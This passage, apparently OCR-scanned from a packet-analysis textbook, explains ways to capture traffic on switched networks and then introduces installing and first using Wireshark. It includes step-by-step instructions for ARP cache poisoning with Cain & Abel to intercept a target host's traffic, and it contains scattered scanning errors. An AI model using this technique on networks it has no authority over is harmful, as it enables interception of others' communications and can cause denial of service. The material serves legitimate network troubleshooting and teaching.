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As discussed in Chapter 1, switches are the most common type of connection 
device used in modern network environments. They provide an efficient way 
to transport data via broadcast, unicast, and multicast traffic. As a bonus, 
switches allow full-duplex communication, meaning that machines can send 
and receive data simultaneously. 

Unfortunately for packet analysts, switches add a whole new level of com- 
plexity. When you connect a sniffer to a port on a switch, you can see only 
broadcast traffic and the traffic transmitted and received by your machine, as 
shown in Figure 2-4. 


There are four primary ways to capture traffic from a target device on a 
switched network: port mirroring, hubbing out, using a tap, and ARP cache 
poisoning. 
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Figure 2-4: The visibility window on a switched network is limited 
to the port you are plugged into. 


Port Mirroring 


Port mirroring, or port spanning, is perhaps the easiest way to capture the traffic 
from a target device on a switched network. In this type of setup, you must 
have access to the command-line or web-management interface of the switch 
on which the target computer is located. Also, the switch must support port 
mirroring and have an empty port into which you can plug your sniffer. 

To enable port mirroring, you issue a command that forces the switch to 
copy all traffic on one port to another port. For instance, to capture the traffic 
from a device on port 3 of a switch, you could simply plug your analyzer into 
port 4 and mirror port 3 to port 4, allowing you to see all traffic transmitted 
and received by your target device. Figure 2-5 illustrates port mirroring. 
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Figure 2-5: Port mirroring allows you to expand your visibility window on 
a switched network. 
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NOTE 
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The way that you set up port mirroring depends on the manufacturer of 
your switch. For most switches, you'll need to log in to a command-line inter- 
face and enter the port mirroring command. You'll find a list of common 
port-mirroring commands in Table 2-1. 


Some switches provide web-based GUIs that offer port mirroring as an option, but these 
aren't as common and aren't standardized. However, if your switch provides an effec- 
tive way to configure port mirroring through a GUI, by all means use it. 


Table 2-1: Commands Used to Enable Port Mirroring 


Manufacturer Command 


Cisco set span <source port> <destination port> 
Enterasys set port mirroring create <source port> <destination port> 
Nortel port-mirroring mode mirror-port <source port> monitor-port 


<destination port> 


When port mirroring, be aware of the throughput of the ports you are 
mirroring. Some switch manufacturers allow you to mirror multiple ports to 
one individual port, which may be very useful when analyzing the communi- 
cation between two or more devices on a single switch. However, let's consider 
what will happen using some basic math. If you have a 24-port switch and you 
mirror 23 full-duplex 100Mbps ports to one port, you could potentially have 
4,600Mbps flowing to that port. This is well beyond the physical threshold 
of a single port, so it could cause packet loss or network slowdowns if the 
traffic reached a certain level. In these situations, switches have been known 
to completely drop excess packets or even “pause” their internal circuitry, 
preventing communication altogether. Be sure that this type of situation 
doesn't occur when you are trying to perform your capture. 


Hubbing Ovt 


Another way to capture the traffic through a target device on a switched net- 
work is by hubbing out. This is a technique by which you segment the target 
device and your analyzer system on the same network segment by plugging 
them directly into a hub. Many people think of hubbing out as cheating, but 
it's really a perfect solution in situations where you can't perform port mirror- 
ing but still have physical access to the switch the target device is plugged into. 
To hub out, all you need is a hub and a few network cables. Once you 

have your hardware, connect it as follows: 


l. Goto the switch the target device resides on and unplug the target from 
the network. 

2. Plugthe target's network cable into your hub. 

3. Plugin another cable that connects your analyzer to the hub. 

4. Plugin a network cable from your hub to the network switch to connect 


the hub to the network. 


NOTE 


Now you have basically put the target device and your analyzer in the same 
broadcast domain, and all traffic from your target device will be broadcast so 
that the analyzer can capture those packets, as illustrated in Figure 2-6. 
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Figure 2-6: Hubbing out isolates your target device and analyzer. 


In most situations, hubbing out will reduce the duplex of the target 
device from full to half. While this method isn't the cleanest way to tap into 
the wire, it's sometimes your only option when a switch does not support 
port mirroring. But keep in mind that your hub will also require a power 
connection, which can be difficult to find in some instances. 


As a reminder, it is usually a nice gesture to alert the user of the device that you will be 
unplugging it, especially if that user happens to be the company CEO! 


FINDING "TRUE" HUBS 


When hubbing out, be sure that you're using a true hub and not a falsely labeled 
switch. Several networking hardware vendors have a bad habit of marketing and 
selling a device as a hub when it actually functions as a low-level switch. If you 
aren't working with a proven, tested hub, you will see only your own traffic, not that 
of the target device. 

When you find a hub, test it to make sure it really is a hub. If it is, it's a keeper! 
The best way to determine whether or not a device is a true hub is to hook up a pair 
of computers to it and see if one computer can sniff traffic between the other computer 
and various other devices on the network, such as another computer or a printer. If 
so, that's a true hub. 

Since hubs are so antiquated, they are not really mass-produced anymore. It's 
almost impossible to buy a true hub off the shelf, so you'll need to be creative in 
order to find one. A great source is often a surplus auction at your local school 
district. Public schools are required to attempt to auction surplus items before disposing 
of them, and they often have older hardware sitting around. I’ve seen people walk 
away from surplus auctions with several hubs for less than the cost of a plate of 
white beans and cornbread. Alternatively, eBay can be a good source of hubs, but 
be wary, as you may run into the same issue with switches mislabeled as hubs. 
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Using a Tap 


Everybody knows the phrase, “Why have chicken when you can have steak?" (Or 
if you are from the South, “Why have ham when you can have fried bologna?") 
This choice also applies to hubbing out versus using a tap. 

A network /apis a hardware device that you can place between two points 
on your cabling system in order to capture the packets between those two 
points. As with hubbing out, you place a piece of hardware on the network 
that allows you to capture the packets you need. The difference is that rather 
than using a hub, you use a specialized piece of hardware designed for net- 
work analysis. 

There are two primary types of network taps: aggregated and. nonaggregaled. 
Both types of taps sit in between two devices in order to sniff the communica- 
tions. The primary difference between an aggregated tap and a nonaggregated 
tap is that the nonaggregated tap has four ports, as shown in Figure 2-7, and 
the aggregated tap only has three ports. 


Figure 2-7: A Barracuda 
nonaggregated tap 


Taps also typically require a power connection, although some include 
batteries for brief stints of packet sniffing without the need to plug into a 
power receptacle. 


Aggregated Taps 
The aggregated tap is the simplest to use. It has only one physical monitor 
port for sniffing bidirectional traffic. 

To capture all traffic to and from a single computer plugged into a 
switch using an aggregated tap, follow these steps: 


l. Unplug the computer from the switch. 


2. Plugone end ofa network cable into the computer, and plug the other 
end into the tap's “in” port. 


3. Plug one end of another network cable into the tap’s “out” port, and 
plug the other end into the network switch. 

4. Plug one end of a final cable into the tap’s “monitor” port, and plug the 
other end into the computer that is acting as your sniffer. 


The aggregated tap should be connected as shown in Figure 2-8. At this 
point, your sniffer should be capturing all traffic in and out of the computer 
you've plugged into the tap. 
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Figure 2-8: Using an aggregated tap to intercept 
network traffic 


Nonaggregated Taps 


The nonaggregated tap is slightly more complex than the aggregated type, 
but it allows a bit more flexibility when capturing traffic. Instead of a single 
monitor port that can be used to listen to bidirectional communication, the 
nonaggregated type has two monitor ports. One monitor port is used for 
sniffing traffic in one direction (from the computer connected to the tap), 
and the other monitor port is used for sniffing traffic in the other direction 
(to the computer connected to the tap). 

To capture all traffic to and from a single computer plugged into a switch, 
follow these steps: 


Unplug the computer from the switch. 


2. Plug one end of a network cable into the computer, and plug the other 
end into the tap’s “in” port. 


DET: 


3. Plug one end of another network cable into the tap’s “out” port, and 
plug the other end into the network switch. 


[2 


4. Plug one end of a third network cable into the tap’s “monitor A” port, 
and plug the other end into one NIC on the computer that is acting as 
your sniffer. 


^)» 


5. Plugone end of a final cable into the tap's *monitor B" port, and plug the 
other end into a second NIC on the computer that is acting as your sniffer. 


The nonaggregated tap should be connected as shown in Figure 2-9. 
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Figure 2-9: Using a nonaggregated tap to intercept 
network traffic 


Choosing a Network Tap 


Given the difference between these two types of taps, which one is better? 
In most situations, aggregated taps are preferred, because they require less 
cabling and don’t need two NICs on your sniffer computer. However, in situ- 
ations where you are capturing a high volume of traffic or care about traffic 
going in only one direction, nonaggregated taps are beneficial. 

You can purchase taps of all sizes, ranging from about US$150 for simple 
Ethernet taps to enterprise-grade fiber-optic taps in the five-figure range. I’ve 
used taps from Net Optics and Barracuda Networks, and have been very 
happy with them. I’m sure that there are many other great taps available. 


ARP Cache Poisoning 


One of my favorite techniques for tapping into the wire is ARP cache poisoning. 
We will cover the ARP protocol in detail in Chapter 6, but a brief explanation 
is necessary in order to understand how this technique works. 


The ARP Process 


Recall from Chapter 1 that the two main types of packet addressing are at 
layers 2 and 3 of the OSI model. These layer 2 addresses, or MAC addresses, 
are used in conjunction with whichever layer 3 addressing system you are 
using. In this book, in accordance with industry-standard terminology, I refer 
to the layer 3 addressing system as the JP addressing system. 

All devices on a network communicate with each other on layer 3 using 
IP addresses. Because switches operate on layer 2 of the OSI model, they are 
cognizant of only layer 2 MAC addresses, so devices must be able to include 
this information in packets they construct. When a MAC address is not known, 
it must be obtained using the known layer 3 IP addresses to be able to forward 
traffic to the appropriate device. This translation process is done through the 
layer 2 protocol ARP. 

The ARP process, for computers connected to Ethernet networks, 
begins when one computer wishes to communicate with another. The 
transmitting computer first checks its ARP cache to see if it already has the 


MAC address associated with the IP address of the destination computer. If 
it does not, it sends an ARP request to the data link layer broadcast address 
FF:FF:FF:FF:FF:FF, as discussed in Chapter 1. As a broadcast packet, this 
packet is received by every computer on that particular Ethernet segment. 
The packet basically asks, “Which IP address owns the XX:XX:XX:XX:XX:XX 
MAC address?” 

Devices without the destination computer’s IP address simply discard 
this ARP request. The destination machine replies to the packet with its MAC 
address via an ARP reply. At this point, the original transmitting computer 
now has the data link layer addressing information it needs to communicate 
with the remote computer, and it stores that information in its ARP cache for 
fast retrieval. 


How ARP Cache Poisoning Works 


ARP cache poisoning, sometimes called ARP spoofing, is the process of sending 
ARP messages to an Ethernet switch or router with fake MAC (layer 2) 
addresses in order to intercept the traffic of another computer. Figure 2-10 
illustrates this setup. 

ARP cache poisoning is an advanced form of tapping into the wire on a 
switched network. It is commonly used by attackers to send falsely addressed 
packets to client systems in order to intercept certain traffic or cause denial- 
of-service (DoS) attacks on a target. However, it can also be a legitimate way 
to capture the packets of a target machine on a switched network. 
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Figure 2-10: ARP cache poisoning allows yov to intercept the traffic of your target computer. 


Using Cain & Abel 


When attempting to poison the ARP cache, the first step is to acquire the 
required tools and collect some information. For our demonstration, we'll 
use the popular security tool Cain & Abel from oxid.it (hitp://www.oxid.it/), 
which supports Windows systems. Download and install it now, according to 
the directions on the website. 

Before you can use Cain & Abel, you'll need to collect certain informa- 
tion, including the IP address of your analyzer system, the remote system 
from which you wish to capture the traffic, and the router from which the 
remote system is downstream. 
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When you first open Cain & Abel, you will notice a series of tabs near the 
top of the window. (ARP cache poisoning is only one of Cain & Abel’s features.) 
For our purposes, we'll be working in the Sniffer tab. When you click this tab, 
you should see an empty table, as shown in Figure 2-11. 
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Figure 2-11: The Sniffer tab in the Cain & Abel main window 


To complete this table, you will need to activate the program's built-in 
sniffer and scan your network for hosts. To do so, follow these steps: 


l. Click the second icon from the left on the xi 
toolbar, which resembles a NIC. E 
2. You will be asked to select the interface 3 All hosts in my subnet 
you wish to sniff. This interface should cee 
be the one that is connected to the net- Tn eo ona 
work on which you will be performing TS 
your ARP cache poisoning. Select this 10 .100. 31 . 254 


interface and click OK. (Ensure that this 


r- Promiscuous-Mode Scanner 


button is depressed in order to activate 
Cain & Abel’s built-in sniffer.) 


To build a list of available hosts on your 
network, click the plus symbol (+) icon. 
The MAC Address Scanner dialog appears, 


[^ ARP Test (Broadcast 31-bit) 
[^ ARP Test (Broadcast 16-bit) 
[- ARP Test (Broadcast 8-bit] 
[^ ARP Test (Group bit] 

[- ARP Test (Multicast group 0) 
[- ARP Test (Multicast group 1) 
[- ARP Test (Multicast group 3] 
T All Tests 


as shown in Figure 2-12. The All hosts in 
my subnet radio button should be selected 
(or you can specify an address range if 
necessary). Click OK to continue. 


Cane 


Figure 2-12: The Cain & Abel 
network discovery tool 


The grid should now be filled with a list of all the hosts on your attached 
network, along with their MAC addresses, IP addresses, and vendor informa- 
tion. This is the list you will work from when setting up ARP cache poisoning. 
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At the bottom of the program window, you should see a set of tabs that 
will take you to other windows under the Sniffer heading. Now that you have 
built your host list, you will be working from the APR (for ARP Poison Routing) 
tab. Switch to the APR window now by clicking the tab. 

Once in the APR window, you are presented with two empty tables. After 
you've completed the setup steps, the upper table will show the devices 
involved in your ARP cache poisoning, and the lower one will show all com- 
munication between your poisoned machines. 

To set up your poisoning, follow these steps: 


l. Click in the blank area in the upper portion of the screen, and then click 
the plus sign (+) icon on the program's standard toolbar. 


2. The window that appears has two selection panes. On the left side, you 
will see a list of all available hosts on your network. Click the IP address 
of the target computer whose traffic you wish to sniff, and the pane on 
the right will show a list of all hosts in the network, except for the target 
machine's IP address. 


3. In the right pane, click the IP address of the router that is directly 
upstream from the target machine, as shown in Figure 2-13, and then 
click OK. The IP addresses of both devices should now be listed in the 
upper table in the main application window. 


4. To complete the process, click the yellow-and-black radiation symbol on 
the standard toolbar. This will activate Cain & Abel's ARP cache poison- 
ing features and allow your analyzing system to be the middleman for all 
communications between the target system and its upstream router. 


You should now be able to fire up your packet sniffer and begin the analysis 
process. When you are finished capturing traffic, simply click the yellow-and- 
black radiation symbol again to stop ARP cache poisoning. 


New ARP Poison Routing - x| 


WARNING II! 


APR enables you to hijack IP traffic between the selected host on the left list and all selected hosts on the right list in both 
directions. If a selected host has routing capabilities WAN traffic will be intercepted as well. Please note that since your 
machine has not the same performance of a router you could cause DoS if you set APR between your Default Gateway and 
all other hosts on your LAN. 
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Figure 2-13: Selecting the devices for which you wish to enable ARP cache poisoning 
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NOTE 


A Word of Caution on ARP Cache Poisoning 


As a final note on ARP cache poisoning, you should be very aware of the 
roles of the systems for which you implement this process. For instance, do 
not use this technique when the target device is something with very high 
network utilization, such as a file server with a 1Gbps link to the network 
(especially if your analyzer system provides only a 100Mbps link). 

When you reroute traffic using the technique shown in this example, all 
traffic transmitted and received by the target system must first go through 
your analyzer system, therefore making your analyzer the bottleneck in the 
communication process. This rerouting can create a DoS-type effect on the 
machine you are analyzing, which will result in degraded network perfor- 
mance and faulty analysis data. 


You can avoid all the traffic going through your analyzer system by using a feature 
called asymmetric routing. For more information about this technique, see the 
oxid.it User Manual (http:/ /www.oxid.it/ca um/topics/apr.htm). 


Sniffing in a Routed Environment 
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All of the techniques for tapping into the wire on a switched network are avail- 
able on routed networks as well. The only major consideration when dealing 
with routed environments is the importance of sniffer placement when you are 
troubleshooting a problem that spans multiple network segments. 

As you've learned, a device's broadcast domain extends until it reaches a 
router, at which point the traffic is handed off to the next upstream router. 
In situations where data must traverse multiple routers, it is important to ana- 
lyze the traffic on all sides of the router. 

For example, consider the communications problem you might encoun- 
ter ina network with several network segments connected via a variety of routers. 
In this network, each segment communicates with an upstream segment in 
order to store and retrieve data. Based on Figure 2-14, the problem we're 
trying to solve is that a downstream subnet, network D, cannot communicate 
with any devices on network A. 

If you sniff the traffic of a device on network D that is having trouble 
communicating with devices on other networks, you may clearly see data 
being transmitted to another segment, but you may not see data coming 
back. If you rethink the positioning of your sniffer and begin sniffing the 
traffic in the next upstream network segment (network B), you will have a 
clearer picture of what is happening. At this point, you may find that traffic 
is dropped or routed incorrectly by the router of network B. Eventually, this 
leads you to a router configuration problem that, when corrected, solves 
your larger dilemma. Although this scenario is a bit broad, the moral of the 
story is that when dealing with multiple routers and network segments, you 
may need to move your sniffer around a bit to get the entire picture. 


This is a prime example of why it is often necessary to sniff the traffic of 
multiple devices on multiple segments in order to pinpoint a problem. 
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Figure 2-14: A computer on network D can't 
communicate with one on network A. 


NETWORK MAPS 


In our discussion of network placement, we have examined several different network 
maps. À network map, or network diagram, is a diagram that shows all technical 
resources on a network and how they are connected. 

There is no better way to determine the placement of your packet sniffer than to 
be able to visualize a network. If you have a network map available, keep it handy, 
as it will become a valuable asset in the troubleshooting and analysis process. You 
may even want to make a detailed network map of your own network. Remember 
that sometimes half the battle in troubleshooting is ensuring you are collecting the 
right data. 


Sniffer Placement in Practice 


We have looked at four different ways to capture network traffic in a switched 
environment. We can add one more if we consider simply installing a packet- 
sniffing application on a single device from which we want to capture traffic 
(the direct install method). Given these five methods, it can be a bit confusing 
to determine which one is the most appropriate. Table 2-2 provides some 
general guidelines for each method. 
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Table 2-2: Guidelines for Packet Sniffing in a Switched Environment 


Technique Guidelines 


Port mirroring © Usually preferred because it leaves no network footprint and no additional 
packets are generated as a result of it. 
* Can be configured without taking the client offline, which is convenient 
when mirroring router or server ports. 


Hubbing out œ Ideal when you are not concerned about taking the host temporarily 
offline. 
* Ineffective when you must capture traffic from multiple hosts, as collisions 
and dropped packets will be imminent. 
* Can result in lost packets on modern 100/1000Mbps hosts because most 
true hubs are only 1OMbps. 


Using a tap e Ideal when you are not concerned about taking the host temporarily 
offline. 
* The only option when you need to sniff traffic from a fiber-optic 
connection. 
* Since taps are made for the task at hand and are up to par with modern 
network speeds, this method is superior to hubbing out. 
* May be cost prohibitive when budgets are tight. 
ARP cache * Considered very sloppy, as it involves injecting packets onto the network 
poisoning in order to reroute traffic through your sniffer. 


* Can be effective when you need to grab a quick capture of traffic from a 
device without taking it offline and where port mirroring is not an option. 


Direct install * Usually not recommended because if there is an issue with a host, that 
issue could cause packets to be dropped or manipulated in such a way 
that they are not represented accurately. 

* The NIC of the host does not need to be in promiscuous mode. 
* Best for test environments, examining/baselining performance, and 
examining capture files created elsewhere. 


As analysts, we need to be as stealthy as possible. In a perfect world, we 
collect the data we need without leaving a footprint. Just as forensic investiga- 
tors don’t want to contaminate a crime scene, we don’t want to contaminate 
our captured network traffic. 

As we step through practical scenarios in later chapters, we’ll discuss the 
best ways to capture the data we require on a case-by-case basis. For the time 
being, the flowchart in Figure 2-15 should help you to decide on the best 
method to use for capturing traffic. Remember that this flowchart is simply a 
general reference, and it does not cover every possible iteration of tapping 
into the wire. 
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Tapping into the wire 


Do your switches 
support mirrroring? 


Use port 


mirroring 


No 


Can a client be 
taken offline 
temporarily? 


No Use ARP cache 


poisoning 


Do you have 
access to a tap? 


No Yes 


Hub out Use a tap 


Figure 2-15: A diagram to help determine which method is best for tapping into the wire 
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INTRODUCTION TO WIRESHARK 


As mentioned in Chapter 1, several 

J packet-sniffing applications are available 
for performing network analysis, but we'll 
use Wireshark in this book. This chapter 
introduces Wireshark. 


A Brief History of Wireshark 


Wireshark has a very rich history. Gerald Combs, a computer science gradu- 
ate of the University of Missouri at Kansas City, originally developed it out of 
necessity. The first version of Combs’s application, called Ethereal, was released 
in 1998 under the GNU Public License (GPL). 

Eight years after releasing Ethereal, Combs left his job to pursue other 
career opportunities. Unfortunately, his employer at that time had full rights 
to the Ethereal trademarks, and Combs was unable to reach an agreement 
that would allow him to control the Ethereal “brand.” Instead, Combs and the 
rest of the development team rebranded the project as Wireshark in mid-2006. 
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Wireshark has grown dramatically in popularity, and its collaborative 
development team now boasts more than 500 contributors. The program as 
it exists under the Ethereal name is no longer being developed. 


The Benefits of Wireshark 


NOTE 


NOTE 
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Wireshark offers several benefits that make it appealing for everyday use. It is 
aimed at both the journeyman and the expert packet analyst, and offers a 
variety of features to entice each. Let's examine Wireshark according to the 
criteria defined in Chapter 1 for selecting a packet-sniffing tool. 


Supported protocols Wireshark excels in the number of protocols that 
it supports—more than 850 as of this writing. These range from com- 
mon ones like IP and DHCP to more advanced proprietary protocols like 
AppleTalk and BitTorrent. And because Wireshark is developed under 
an open source model, new protocol support is added with each update. 


In the unlikely case that Wireshark doesn't support a protocol you need, you can code 
that support yourself and submit your code to the Wireshark developers for inclusion in 
the application (if your code is accepted, of course). 


User-friendliness The Wireshark interface is one of the easiest to 
understand of any packet-sniffing application. It is GUI-based, with very 
clearly written context menus and a straightforward layout. It also provides 
several features designed to enhance usability, such as protocol-based 
color coding and detailed graphical representations of raw data. Unlike 
some of the more complicated command-line-driven alternatives, like 
tcpdump, the Wireshark GUI is great for those who are just entering the 
world of packet analysis. 


Cost Since itis open source, Wireshark's pricing can't be beat: Wire- 
shark is released as free software under the GPL. You can download and 
use Wireshark for any purpose, whether personal or commercial. 


Although Wireshark may be free, some people have made the mistake of paying for it by 
accident. If you search for packet sniffers on eBay, you may be surprised by how many 
people would love to sell you a *professional enterprise license" for Wireshark for the 
low, low price of $39.95. Of course, this is a farce, but if you decide you really want to 
buy it, give me a call, and we can talk about some oceanfront property in Kentucky I 
have for sale! 


Program support A software package's level of support can make or 
break it. When dealing with freely distributed software such as Wireshark, 
there may not be any formal support, which is why the open source com- 
munity often relies on its user base to provide support. Luckily for us, the 
Wireshark community is one of the most active of any open source project. 


The Wireshark web page links directly to several forms of support, includ- 
ing online documentation, a support and development wiki, FAOs, and 
a place to sign up for the Wireshark mailing list, which is monitored by 
most of the program's top developers. Paid support for Wireshark is also 
available from CACE Technologies through its SharkNet program. 


Operating system support Wireshark supports all major modern oper- 
ating systems, including Windows, Mac OS X, and Linux-based platforms. 
You can view a complete list of supported operating systems on the Wire- 
shark home page. 


Installing Wireshark 


The Wireshark installation process is surprisingly simple. However, before you 
install Wireshark, make sure that your system meets the following requirements: 


e 400 MHz processor or faster 

e 128MB RAM 

e Atleast 75MB of available storage space 
e NIC that supports promiscuous mode 


e WinPcap capture driver 


The WinPcap capture driver is the Windows implementation of the pcap 
packet-capturing application programming interface (API). Simply put, this 
driver interacts with your operating system to capture raw packet data, apply 
filters, and switch the NIC in and out of promiscuous mode. 

Although you can download WinPcap separately (from http://www 
-winpcap.org/), it is typically better to install WinPcap from the Wireshark 
installation package, because the included version of WinPcap has been 
tested to work with Wireshark. 


Installing on Microsoft Windows Systems 


The first step when installing Wireshark under Windows is to obtain the 
latest installation build from the official Wireshark web page, http://www 
.wireshark. org/. Navigate to the Downloads section on the website and choose 
a mirror. Once you've downloaded the package, follow these steps: 


l. Double-click the .exe file to begin installation, and then click Next in the 
introductory window. 


2. Read the licensing agreement, and then click I Agree if you agree. 


3. Select the components of Wireshark you wish to install, as shown in 
Figure 3-1. For our purposes, you can accept the defaults by clicking Next. 
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Cc 
[^| Wireshark 1.3.3 (64-bit) Setup 


Choose Components 
Choose which features of Wireshark 1.3.3 (64-bit) you want to install. 


The following components are available for installation. 


Select components to install: BET] Wireshark 
+ [Z] TShark 
Plugins / Extensions 


Space required: 72.9MB 


Nullsoft Install 5 


Figure 3-1: Choosing the Wireshark components you wish to install 


Click Next in the Additional Tasks window. 
Select the location where you wish to install Wireshark, and then click Next. 


When the dialog asks whether you want to install WinPcap, make sure 
the Install WinPcap box is checked, as shown in Figure 3-2, and then 
click Install. The installation process should begin. 


r 
[4] Wireshark 1.3.3 (64-bit) Setup 


Install WinPcap? 
WinPcap is required to capture live network data. Should WinPcap be installed? 


Currently installed WinPcap version 


WinPcap is currently not installed 


Install 
v 


(Use Add/Remove Programs first to uninstall any undetected old WinPcap versions) 


What is WinPcap? 


Nullsoft Install 5 


Figure 3-2: Selecting the option to install the WinPcap driver 


About halfway through the Wireshark installation, the WinPcap installa- 
tion should start. When it does, click Next in the introductory window, 
read the licensing agreement, and then click I Agree. 


8. WinPcap should install on your computer. After this installation is com- 
plete, click Finish. 


9. Wireshark should complete its installation. When it's finished, click Next. 


10. In the installation confirmation window, click Finish. 


Installing on Linux Systems 


The first step when installing Wireshark on a Linux system is to download 
the appropriate installation package. Not every version of Linux is supported, 
so don't be surprised if your specific distribution doesn't have its own install 
package. 

Typically, for system-wide software, root access is a requirement. How- 
ever, local software installations compiled from source can usually be 
installed without root access. 


RPM-based Systems 


For RPM-based distributions, such as Red Hat Linux, download the appropri- 
ate installation package from the Wireshark web page. Then open a console 

window and enter the following (substituting the filename of your downloaded 
package as appropriate): 


rpm -ivh wireshark-0.99.3.1386.rpm 


If any dependencies are missing, install them and repeat the Wireshark 
installation. 


DEB-based Systems 


On a DEB-based distribution such as Debian or Ubuntu, you can install 
Wireshark from the system repositories. Open a console window and type 
the following: 


apt-get install wireshark 


Compiling from Source 


If your Linux distribution doesn't use an automated package management 
software, the most effective way to install Wireshark is to compile it from 
source. To do this, complete the following steps: 


Download the source package from the Wireshark web page. 


2. Extract the archive by typing the following (substituting the filename of 
your downloaded package as appropriate): 


tar -jxvf wireshark-1.2.2.tar.bz2 


3. Change into the newly created directory where the files were extracted. 
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4. Asarootlevel user, configure the source so that it will build correctly for 
your distribution of Linux by using the command ./configure. If you wish 
to deviate from the default installation options, you can specify those 
options at this point in the installation. If any dependencies are missing, 
you will most likely receive an error. If installation is successful, you 
should see a message noting success, as shown in Figure 3-3. 


csanders@localhost:~/Desktop/wireshark-1.2.3 


File Edit View Terminal Tabs Help 


Figure 3-3: Successful output from the ./configure command 


5. Enter the make command to build the source into a binary. 


6. Initiate the final installation with make install. 


Installing on Mac OS X Systems 


There are a few caveats for installing Wireshark on Mac OS X Snow Leopard, 
but installation is not a difficult task and I’ve outlined the installation steps 
here. The steps are: 


1. Download the DMG package from the Wireshark web page. 
2. Copy Wireshark.app to the Applications folder. 
3. Open the Utilities folder in Wireshark. app. 


4. In Finder, click Go, and select Go To Folder. Enter /usr/local/bin/ to 
open that directory. 


5. Copy the contents of the Command Line folder into /usr/local/bin/. You 
must enter your password in order to do this. 


6. In the Utilties folder, copy the ChmodBPF folder into the Startupltems 
folder. You will need to enter your password again to perform this action 
and complete the installation. 


Wireshark Fundamentals 


Once you've successfully installed Wireshark on your system, you can begin 
to familiarize yourself with it. Now you finally get to open your fully function- 
ing packet sniffer and see . . . absolutely nothing! 

Okay, so Wireshark isn't very interesting when you first open it. In order 
for things to really get exciting, you need to get some data. 


Your First Packet Capture 


To get packet data into Wireshark, you'll perform your first packet capture. 
You may be thinking, “How am I going to capture packets when nothing is 
wrong on the network?" 

First, there is always something wrong on the network. If you don't 
believe me, then go ahead and send an email to all of your network users 
and let them know that everything is working perfectly. 

Secondly, there doesn't need to be something wrong in order for you to 
perform packet analysis. In fact, most packet analysts spend more time ana- 
lyzing problem-free traffic than traffic that they are troubleshooting. You need 
a baseline to compare to in order to be able to effectively troubleshoot net- 
work traffic. For example, if you ever hope to solve a problem with DHCP by 
analyzing its traffic, you must understand what the flow of working DHCP 
traffic looks like. 

More broadly, in order to find anomalies in daily network activity, you 
must know what normal daily network activity looks like. When your network 
is running smoothly, you can set your baseline so that you'll know what its 
traffic looks like in a normal state. 

So, let's capture some packets! 


l. Open Wireshark. 

2. From the main drop-down menu, select Capture and then Interfaces. 
You should see a dialog listing the various interfaces that can be used to 
capture packets, along with their IP addresses. 

3. Choose the interface you wish to use, as shown in Figure 3-4, and click 
Start, or simply click the interface under the Interface List section of the 
welcome page. Data should begin filling the window. 
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6 
ll] Wireshark: Capture Interfaces 


Description IP Packets Packets/s 


i) Intel(R) 82567LM Gigabit Network Connection 17216.0.8 41 2 
&*] Microsoft 172.16.16.128 0 0 
EP. VMware Virtual Ethernet Adapter fe80::d10b:cld2:2925:1(71 10 2 
E. VMware Virtual Ethernet Adapter fe80:c447:14c9:5225:671e — 10 2 


Figure 3-4: Selecting an interface on which to perform your packet capture 


4. Waitabout a minute or so, and when you are ready to stop the capture 
and view your data, click the Stop button from the Capture drop-down 
menu. 


Once you have completed these steps and finished the capture process, 
the Wireshark main window should be alive with data. As a matter of fact, you 
might be overwhelmed by the amount of data that appears, but it will all start 
to make sense very quickly as we break down the main window of Wireshark 
one piece at a time. 


Wireshark’s Main Window 


You'll spend most of your time in the Wireshark main window. This is where 
all of the packets you capture are displayed and broken down into a more 
understandable format. Using the packet capture you just made, let's take 

a look at Wireshark's main window, as shown in Figure 3-5. 


ll 1ctsofweb pcap - Wireshark [EI 
Ele Edit View Go Capture Analyze Statistics Telephony Tools Help 


Baadealluxegauesoziz aaan mntk m 


Filter: ~ Expression... Clear Apply 

No. Time Source Destination Protocol Info ^ 
19 1.773112 172.16.16.128 205.203.140.65 TCP 2905 > 80 [ACK] Seq=639660464 Ack-1625218514 win-16560 Len- T^ 
20 1.774533 205.203.140.65 172.16.16.128 TCP [TCP segment of a reassembled PDU] 
21 1.774564 205.203.140.65 172.16.16.128 TCP [TCP segment of a reassembled PDU] 
22 1.774595 172.16.16.128 205.203.140.65 TCP 2905 > 80 [ACK] Seq-639660464 Ack-1625219974 win-16560 Len= 
23 1.776427 205.203.140.65 172.16.16.128 TCP [TCP segment of a reassembled PDU] 
24 1.776997 205.203.140.65 172.16.16.128 TCP [TCP segment of a reassembled PDU] 
25 1.777000 205.203.140.65 172.16.16.128 HTTP. HTTP/1.1 200 OK (text/html) 
26 1.777047 172.16.16.128 205.203.140.65 TCP 2905 > 80 [ACK] Seq-639660464 Ack=1625221991 win-16560 Len= 
27 1.807280 172.16.16.128 172.16.16.255 NBNS. Name query NB ISATAP«00» 
28 2.557340 172.16.16.128 172.16.16.255 NBNS Name query NB ISATAP«00» 
29 3.009402 172.16.16.128 4.2.2.1 DNS Standard query PTR 128.16.16.172.in-addr.arpa 
30 3.050866 4.2.2.1 172.16.16.128 DNS Standard query response, No such name 
31 3.180870 172.16.16.128 157.166.226.25 TCP 2918 > 80 [SYN] Seq-2094805014 win-8192 Len-0 MSS-1460 ws-2 
32 3.241650 k H 157.166.226.25 172.16.16.128 TCP 80 > 2918 [SYN, ACK] Seq-1516154519 Ack-2094805015 win=5840 

a Packet List 1 rcp > 80 [ACK] s ined218 Lene 


80 [RST, AC 


S Frame 1: 92 bytes on wire (736 bits), 92 bytes captured (736 bits) 

8| Ethernet II, Src: 00:21:6a:5b:7d:4a (00:21:6a:5b:7d:4a), Dst: ff:ff:ff:ff:ffiff (ff:ffiff:ffiff:ff) 
@ Internet Protocol, Src: 172.16.16.128 (172.16.16.128), Dst: 172.16.16.255 (172.16.16.255) 

8 User Datagram Protocol, Src Port: 137 (137), Dst Port: 137 (137) 

@ NetBIOS Name Service 


Packet Details 


0000 ff ff ff ff ff ff 00 21 6a 5b 7d 4a 08 00 45 00 
0010 00 4e Oc 90 00 00 80 11 b4 6f ac 10 10 80 ac 10 
0020 10 ff 00 89 00 89 00 3a bc 49 81 Ob 01 10 00 01 n 
0030 00 00 00 00 00 00 20 45 4a 46 44 45 42 46 45 45  ...... E JFDEBFEE 
0040 42 46 41 43 41 43 41 43 41 43 41 43 41 43 41 43 — BFACACAC ACACACAC 
0050 41 43 41 43 41 41 41 00 00 20 00 01 ACACAAA. . .. 


1! jU»..E. 


Packet Bytes 


@ File "CAUserscsanders Documents Writing... | Packets: 12899 Displayed: 12899 Marked: 0 Time: 00:00:00.382 Profile: Default 


Figure 3-5: The Wireshark main window uses a three-pane design. 
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NOTE 


The three panes in the main window depend on one another. In order 


to view the details of an individual packet in the Packet Details pane, you 
must first select that packet by clicking it in the Packet List pane. Once you've 
